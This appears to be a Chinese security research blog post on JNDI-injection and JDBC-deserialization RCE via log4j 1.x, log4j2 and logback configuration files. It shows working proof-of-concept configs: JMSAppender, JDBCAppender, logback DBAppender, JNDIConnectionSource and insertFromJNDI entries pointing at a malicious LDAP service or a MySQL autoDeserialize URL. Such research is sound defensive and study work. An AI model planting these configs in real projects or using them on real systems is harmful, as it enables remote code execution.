对 log4j2 漏洞的后续研究中,发现一些有趣的东西,记录分享一下
首先提出一个问题,log4j 真的在任何情况不存在 JNDI注入吗?
答案是否定的。
翻阅 Log4j2 的 pull request 发现一个有意思的对话:
有人提出实际上 log4j 和 log4j2 一样易受攻击的,只不过与 log4j2 相比,Log4j 的攻击向量“更安全”
因为 Log4j 的攻击入口点是其配置文件,而 log4j2 的攻击入口点是用户的输入
那么实际上如何呢?经过我简单测试,发现修改 log4j 的配置文件确实会导致漏洞的产生,但要求要比pull reques中所说的更苛刻。
首先在 maven 中添加以下依赖:
`<dependencies> `` <dependency> `` <groupId>log4j</groupId> `` <artifactId>log4j</artifactId> `` <version>1.2.17</version> `` </dependency> `` <dependency> `` <groupId>org.apache.activemq</groupId> `` <artifactId>activemq-broker</artifactId> `` <version>5.16.3</version> ``</dependency>` `</dependencies>`
然后在resource 目录下新建 log4j.properties 文件,内容如下:
`log4j.rootLogger=INFO, stdout, jms` ` ``log4j.logger.org.apache.activemq=INFO, stdout` ` ``log4j.appender.stdout=org.apache.log4j.ConsoleAppender` `log4j.appender.stdout.layout=org.apache.log4j.PatternLayout` `log4j.appender.stdout.layout.ConversionPattern=%d %-5p %c - %m%n` ` ``log4j.appender.jms=org.apache.log4j.net.JMSAppender` `log4j.appender.jms.InitialContextFactoryName=org.apache.activemq.jndi.ActiveMQInitialContextFactory` `log4j.appender.jms.ProviderURL=tcp://localhost:61616` `log4j.appender.jms.TopicBindingName=jmsTest``log4j.appender.jms.TopicConnectionFactoryBindingName=ldap://127.0.0.1:1389/erqtcd`
最后新建 Log4jJMSAppenderTest.java 文件,内容如下:
`import org.apache.log4j.Logger;` `import javax.naming.NamingException;` ` ``class Log4jJMSAppenderTest {` `public static void main(String[] args) throws NamingException {`` // 通常情况下会自动加载 Log4j 的配置文件,如果不能自动加载可以取消注释下行代码 `` // PropertyConfigurator.configure( "/Users/panda/Downloads/log4jDemo/src/main/resources/log4j.properties" ); Logger logger = Logger.getLogger(Log4jJMSAppenderTest.class); `` logger.error("error"); ``}` `}`
可以看到,项目的所用到的主要依赖是 log4j 1.2.17 版本,然后为了满足条件要求(后文会说具体什么条件),又引入了最新版的 activemq 依赖。
然后如果直接运行 main 函数,可以直接触发 RCE:
原理很简单,log4j 有一个名为Appenders的功能,Appender 通常只负责将事件数据写入目标指定的区域, 比如数据库、JMS 代理等
当检测到log4j.properties
配置文件中存在指定的 Appender 时,会自动进入相应的功能逻辑
如,假设配置了
log4j.appender.file=org.apache.log4j.FileAppender
那么会进入FileAppender.java
中的 activateOptions
方法
配置了
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
,
那么会进入ConsoleAppender.java
中的activateOptions
方法
上文中配置的是
log4j.appender.jms=org.apache.log4j.net.JMSAppender
会进入JMSAppender.java
中的activateOptions
方法
我们可以在该方法打个断点,debug 就可以看到其调用的是 lookup 方法:
然后在 ctx.lookup(name)
中传入我们指定的恶意 LDAP 服务地址,从而触发 RCE
这里虽然可以实现了 RCE,但实际上你可以发现,必须要有一个支持 jms 代理的类(org.apache.activemq.jndi.ActiveMQInitialContextFactory
)才可以,否则是会报错的,如果实际业务代码或引用的包中没有 jms 代理类,就显得就十分鸡肋+苛刻了
那么可利用的仅仅是 JMSAppender 吗?
在 log4j 中,除了 JMSAppender 配置项外,还有很多 Appender,JDBCAppender就是其一。
同样的,在 resources 目录下创建log4j.properties
文件,内容如下:
`log4j.rootLogger=DEBUG,database` ` ``log4j.appender.database=org.apache.log4j.jdbc.JDBCAppender` `#数据库地址` `log4j.appender.database.URL=jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor` `log4j.appender.database.driver=com.mysql.jdbc.Driver` `log4j.appender.database.user=test` `log4j.appender.database.password=111111` `log4j.appender.database.sql=INSERT INTO log4j (message) VALUES('%d{yyyy-MM-dd HH:mm:ss} [%5p] - %c - %m%n')` `#log4j.appender.database.layout=org.apache.log4j.PatternLayout`
为了方便测试 JDBC反序列化漏洞,所以maven 中我们新增了其他依赖,具体如下:
`<dependency> `` <groupId>log4j</groupId> `` <artifactId>log4j</artifactId> ``<version>1.2.17</version>` `</dependency>` ` ``<dependency> `` <groupId>commons-collections</groupId> `` <artifactId>commons-collections</artifactId> ``<version>3.2.1</version>` `</dependency>` ` ``<dependency> `` <groupId>mysql</groupId> `` <artifactId>mysql-connector-java</artifactId> ``<version>8.0.12</version>` `</dependency>`
最后再新建 test.java 文件,内容如下:
`import org.apache.log4j.Logger;` ` ``public class test { `` public static void main(String[] args) { `` Logger logger = Logger.getLogger(test.class); `` logger.error("error"); ``}` `}`
运行main函数,直接触发 RCE:
原理和JMSAppender比较类似,同样是那么会进入JDBCAppender.java
中,只不过触发的方法是getConnection()
,后续就是我们比较熟知的 JDBC 反序列漏洞流程了
这里提到的仅仅是 log4j 的1.x 版本,实际上 log4j 2.15.0 同样可以实现上述操作
在能够控制配置文件的情况下,可以不用再花心思去绕过 lookup 的白名单和各种限制,直接采用类似于上面的方式实现 RCE,比如三梦师傅之前提到的:
`<pattern>%sn. %msg: Class=%class%n%m{lookups}</pattern>``<pattern>${payload}</pattern>`
当然,总体来看,这种修改配置文件的方式还是很鸡肋的,实际利用有限,只是适用于特殊场景,此处仅作技术性探讨
提到 log 日志记录,除了 log4j 外,还有就是 logback
,logbakc
和log4j
是 同一个人写的,因此实际上我想看看 logback 中是否存在类似问题
并且由于 logback 是 springboot 的默认组件,如果同样存在类似问题,那么可能遇到这种场景的机会会加大
首先 看的是 JMSAppender,遗憾的是,在 logback 的 1.2.2版本后,就移除了 JMSTopicAppender
但幸运的是 ,在 logback 中同样存在类似于 JDBCAppender 的 Appender —— DBAppender
DBAppender 中有一个名为ConnectionSource
的接口,该接口提供了一种可插拔式的方式为需要使用 java.sql.Connection
的 logback 类获取 JDBC 连接,目前有三种实现,分别为:DriverManagerConnectionSource
、DataSourceConnectionSource
与 JNDIConnectionSource
。这三种实现每一种都可以用来实现 RCE。
DriverManagerConnectionSource 和 DataSourceConnectionSource 比较类似,都可以通过控制 JDBC 的 URL 去实现 JDBC 反序列化攻击的目的。
首先在 resource 目录下新建 logback-spring.xml ,内容如下
`<configuration>` ` ` `<appender name="DB" class="ch.qos.logback.classic.db.DBAppender">`` <connectionSource class="ch.qos.logback.core.db.DriverManagerConnectionSource"> `` <driverClass>com.mysql.jdbc.Driver</driverClass> `` <url>jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor</url> `` <user>username</user> `` <password>password</password> `` </connectionSource> ``</appender>` ` ` `<root level="DEBUG" >`` <appender-ref ref="DB" /> ``</root>` `</configuration>`
然后在新建的 SpringBoot 项目的 pom.xml中新加两个依赖,如下:
`<dependency> `` <groupId>commons-collections</groupId> `` <artifactId>commons-collections</artifactId> ``<version>3.2.1</version>` `</dependency>` ` ``<dependency> `` <groupId>mysql</groupId> `` <artifactId>mysql-connector-java</artifactId> ``<version>8.0.12</version>` `</dependency>`
然后直接运行SpringApplication.run()
所在方法,即可触发漏洞:
除上述两种,还有 JNDIConnectionSource 方法,JNDIConnectionSource 是 logback 自带的方法,从名字就可以看出来,它通过 JNDI 获取 javax.sql.DataSource,然后再获取 java.sql.Connection 实例
同样的,对于我们来说,这种方式实现 RCE 更方便,完全不需要其他的依赖,测试如下:
在 resource 目录下新建 logback-spring.xml ,内容如下
`<configuration debug="true"> `` <appender name="DB" class="ch.qos.logback.classic.db.DBAppender"> `` <connectionSource class="ch.qos.logback.core.db.JNDIConnectionSource"> `` <jndiLocation>ldap://127.0.0.1:1389/erqtcd</jndiLocation> `` </connectionSource> `` </appender> `` <root level="DEBUG"> `` <appender-ref ref="DB"/> ``</root>` `</configuration>`` `
同样的,直接运行SpringApplication.run()
所在方法,即可触发漏洞:
实际上跟踪一下可以发现,最终会进入到JNDIConnectionSource.java
的getConnection
方法,如果dataSource 为空,那么就令dataSource = lookupDataSource();
然后在lookupDataSource() 中触发 lookup
:
不过这里需要注意的是,JNDIConnectionSource类是通过无参构造函数获取 javax.naming.InitialContext
,这种方式在 J2EE 环境通常可以行得通,但是在 J2EE 环境之外,需要额外提供一个 jndi.properties 的配置文件才可以。
实际上除了上述方式,还有一种配置不借助 DBAppender 也可以直接实现 RCE,配置如下:
`<configuration>` `<insertFromJNDI env-entry-name="ldap://127.0.0.1:1389/erqtcd" as="appName" />` `<root level="DEBUG">`` <appender-ref ref="CONSOLE" /> ``</root>` `</configuration>`
运行项目即可实现 RCE:
同样跟踪可以发现,是在InsertFromJNDIAction.java
的begin
方法中调用了 JNDIUtil.lookup
方法,从而触发漏洞:
当然,还有 JMX 同样可以实现RCE,原理大致相同,这里不在赘述
上面的方式确实比较鸡肋,正如 pull request 那里写的:
如果攻击者可以修改某个系统 S 上的配置文件,那么可以假设 S 已经被很大程度地渗透了。
但还是有可行的场景的, 通过查阅资料我发现,logback配置文件中有个特色属性为 scan,只要配置文件中配置了 scan
属性,那么系统会启动一个scan task监控配置文件的变动,如果发生变化,那么就在配置文件变更时的自动加载新的配置文件,具体场景发现已经有人做了实验,可以参考:https://xz.aliyun.com/t/7351
当然,可能在绝大多数情况下这些方式都是没用的,但是,请尽情的发挥想象,思考可能的攻击场景吧
https://github.com/apache/logging-log4j2/pull/608
https://activemq.apache.org/how-do-i-use-log4j-jms-appender-with-activemq
https://logbackcn.gitbook.io/logback/04-di-si-zhang-appenders